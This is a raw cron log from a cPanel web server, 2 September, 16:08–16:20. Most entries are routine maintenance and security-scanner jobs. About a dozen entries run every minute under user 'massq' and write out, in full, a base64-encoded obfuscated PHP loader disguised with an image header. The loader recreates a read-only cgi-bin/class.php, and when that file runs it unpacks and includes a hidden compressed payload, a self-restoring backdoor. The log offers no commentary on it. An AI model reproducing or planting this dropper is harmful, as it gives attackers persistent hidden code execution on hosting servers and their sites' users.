Sep  2 16:08:01 server CROND[4921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:08:01 server CROND[4923]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:08:01 server CROND[4922]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:09:01 server CROND[5313]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:09:01 server CROND[5316]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:09:01 server CROND[5315]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 16:09:01 server CROND[5314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:10:01 server CROND[5711]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 16:10:01 server CROND[5713]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 16:10:01 server CROND[5714]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 16:10:01 server CROND[5715]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 16:10:01 server CROND[5716]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:10:01 server CROND[5718]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 16:10:01 server CROND[5719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:10:01 server CROND[5717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:11:01 server CROND[6551]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:11:01 server CROND[6553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:11:01 server CROND[6552]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:12:01 server CROND[7027]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 16:12:01 server CROND[7026]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:12:01 server CROND[7028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:12:01 server CROND[7029]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:13:01 server CROND[7672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:13:01 server CROND[7674]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:13:01 server CROND[7673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:14:01 server CROND[8043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:14:01 server CROND[8044]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:14:01 server CROND[8045]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:15:01 server CROND[8427]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  2 16:15:01 server CROND[8428]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 16:15:01 server CROND[8431]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 16:15:01 server CROND[8435]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 16:15:01 server CROND[8432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:15:01 server CROND[8438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:15:01 server CROND[8436]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 16:15:01 server CROND[8433]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 16:15:01 server CROND[8434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:16:01 server CROND[9314]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:16:01 server CROND[9316]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:16:01 server CROND[9317]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:17:01 server CROND[9834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:17:01 server CROND[9835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:17:01 server CROND[9836]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:18:01 server CROND[10208]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:18:01 server CROND[10209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:18:01 server CROND[10210]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:19:01 server CROND[10588]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 16:19:01 server CROND[10589]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 16:19:01 server CROND[10590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 16:20:01 server CROND[10968]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 16:20:01 server CROND[10970]: (root) CMD (/usr/lib64/sa/sa1 1 1)
